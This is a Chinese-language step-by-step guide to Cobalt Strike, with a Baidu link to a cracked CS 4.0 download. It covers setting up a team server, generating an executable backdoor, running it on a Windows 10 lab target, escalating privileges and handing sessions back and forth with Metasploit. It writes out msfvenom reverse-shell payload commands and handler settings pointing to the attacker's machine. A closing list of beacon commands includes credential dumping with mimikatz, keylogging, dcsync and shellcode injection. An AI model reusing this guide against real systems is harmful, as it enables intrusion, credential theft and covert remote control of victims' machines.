Cobalt Strike使用指南
總體流程分為以下幾步
創(chuàng)建團隊服務器->客戶端連接服務器->創(chuàng)建監(jiān)聽器->生成后門對應監(jiān)聽器->靶機運行后門成功上線->后滲透(提權,內(nèi)網(wǎng)漫游,域滲透等)
1 創(chuàng)建團隊服務器
下載CS4.0破解版
https://pan.baidu.com/s/1Ah-H0Eelvm8PmVZ0_Jvz6w 提取碼:up2s

放入kali(MSF主機kali ip地址為162.168.1.17 ) 解壓后放在桌面上

在文件內(nèi)啟動teamserver 加上自己的ip與連接密碼

服務端就運行完成了,不用關閉。
2 客戶端連接服務器
打開windows,運行start .bat

出現(xiàn)如圖窗口,HOST寫剛才kali的ip地址,密碼寫剛才自己設置的,Port不動,User可以自己寫。

點擊連接后會進入一個圖像化的界面

3創(chuàng)建監(jiān)聽器
點擊listen

4生成后門對應監(jiān)聽器
點擊Add 會出現(xiàn)一個新的窗口


然后找到工具欄里的Attacks

這里演示一個Windows Exeutable

將腳本文件放在桌面上

這里開啟一個win10的靶機(靶機ip為192.168.1.25) 關閉防火墻,然后將腳本文件放入靶機

5靶機運行后門成功上線
雙擊啟動腳本文件,可以發(fā)現(xiàn),CS窗口成功出現(xiàn)靶機


之后右鍵目標,選擇interact,進入命令行模式(CS的命令行,并非是靶機cmd命令行)


嘗試功能getuid

可以發(fā)現(xiàn)成功獲取到了uid
6后滲透
嘗試提權
選擇access中的elevate選項


之后按確定,便會嘗試開始攻擊

我們可以下載更多的腳本來嘗試提權

這是下載完成的一個提權插件

點擊任務欄中的script manager

選擇插件腳本文件
之后點擊unload上傳

上傳完成后重新打開提權選項

就出現(xiàn)了更多的提權腳本。
CS和MSF聯(lián)合
1 CS轉(zhuǎn)MSF
首先在kali上啟動MSF

MSF要運用到windows/meterpreter/reverse_http這個模塊
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.1.17 (是kali本地的ip)
set lport 1234(本地監(jiān)聽的端口)

設置完之后執(zhí)行exploit

開始監(jiān)聽本地1234端口
然后回到CS框架,點擊監(jiān)聽器,選擇添加

添加完成后,右鍵靶機選擇spawn

選擇剛才新創(chuàng)建的MSF監(jiān)聽器

觀察MSF是否檢測到

成功監(jiān)聽到了靶機,運行sysinfo和shell觀察結果


成功執(zhí)行。
2 MSF轉(zhuǎn)CS
首先利用msf生成一個后門去控制win10
sfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.17 lport=2222 -f exe -o test2.exe
(注意這里后門腳本用走的是tcp,之后可以轉(zhuǎn)http)
監(jiān)聽自己的2222端口,然后把生成的exe放入win10靶機


然后開啟msf,監(jiān)聽自己的2222端口

之后在win10靶機上運行后門腳本文件

MSF成功監(jiān)聽到了靶機,這里記一下這個會話session的id是1。
之后在CS窗口重新創(chuàng)建一個監(jiān)聽器。

MSF窗口這邊先background返回,然后設置windows/meterpreter/reverse_http模塊的參數(shù)
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http

之后exploit執(zhí)行,觀察CS窗口

我們可以發(fā)現(xiàn)msf2監(jiān)聽器成功監(jiān)聽到了靶機。
MSF監(jiān)聽的會話成功轉(zhuǎn)到了CS上。
PS:常用指令
browserpivot 注入受害者瀏覽器進程
bypassuac 繞過UAC
cancel 取消正在進行的下載
cd 切換目錄
checkin 強制讓被控端回連一次
clear 清除beacon內(nèi)部的任務隊列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客戶端
cp 復制文件
dcsync 從DC中提取密碼哈希
desktop 遠程VNC
dllinject 反射DLL注入進程
dllload 使用LoadLibrary將DLL加載到進程中
download 下載文件
downloads 列出正在進行的文件下載
drives 列出目標盤符
elevate 嘗試提權
execute 在目標上執(zhí)行程序(無輸出)
execute-assembly 在目標上內(nèi)存中執(zhí)行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 嘗試獲取SYSTEM權限
getuid 獲取用戶ID
hashdump 轉(zhuǎn)儲密碼哈希值
help 幫助
inject 在特定進程中生成會話
jobkill 殺死一個后臺任務
jobs 列出后臺任務
kerberos_ccache_use 從ccache文件中導入票據(jù)應用于此會話
kerberos_ticket_purge 清除當前會話的票據(jù)
kerberos_ticket_use 從ticket文件中導入票據(jù)應用于此會話
keylogger 鍵盤記錄
kill 結束進程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz轉(zhuǎn)儲憑據(jù)和哈希值
ls 列出文件
make_token 創(chuàng)建令牌以傳遞憑據(jù)
mimikatz 運行mimikatz
mkdir 創(chuàng)建一個目錄
mode dns 使用DNS A作為通信通道(僅限D(zhuǎn)NS beacon)
mode dns-txt 使用DNS TXT作為通信通道(僅限D(zhuǎn) beacon)
mode dns6 使用DNS AAAA作為通信通道(僅限D(zhuǎn)NS beacon)
mode http 使用HTTP作為通信通道
mv 移動文件
net net命令
note 備注
portscan 進行端口掃描
powerpick 通過Unmanaged PowerShell執(zhí)行命令
powershell 通過powershell.exe執(zhí)行命令
powershell-import 導入powershell腳本
ppid Set parent PID forspawned post-ex jobs
ps 顯示進程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定進程中執(zhí)行PowerShell命令
pth 使用Mimikatz進行傳遞哈希
pwd 當前目錄位置
reg Query the registry
rev2self 恢復原始令牌
rm 刪除文件或文件夾
rportfwd 端口轉(zhuǎn)發(fā)
run 在目標上執(zhí)行程序(返回輸出)
runas 以另一個用戶權限執(zhí)行程序
runasadmin 在高權限下執(zhí)行程序
runu Execute a program underanother PID
screenshot 屏幕截圖
setenv 設置環(huán)境變量
shell cmd執(zhí)行命令
shinject 將shellcode注入進程
shspawn 生成進程并將shellcode注入其中
sleep 設置睡眠延遲時間
socks 啟動SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh連接遠程主機
ssh-key 使用密鑰連接遠程主機
steal_token 從進程中竊取令牌
timestomp 將一個文件時間戳應用到另一個文件
unlink Disconnect from parentBeacon
upload 上傳文件
wdigest 使用mimikatz轉(zhuǎn)儲明文憑據(jù)
winrm 使用WinRM在主機上生成會話
wmi 使用WMI在主機上生成會話
argue 進程參數(shù)欺騙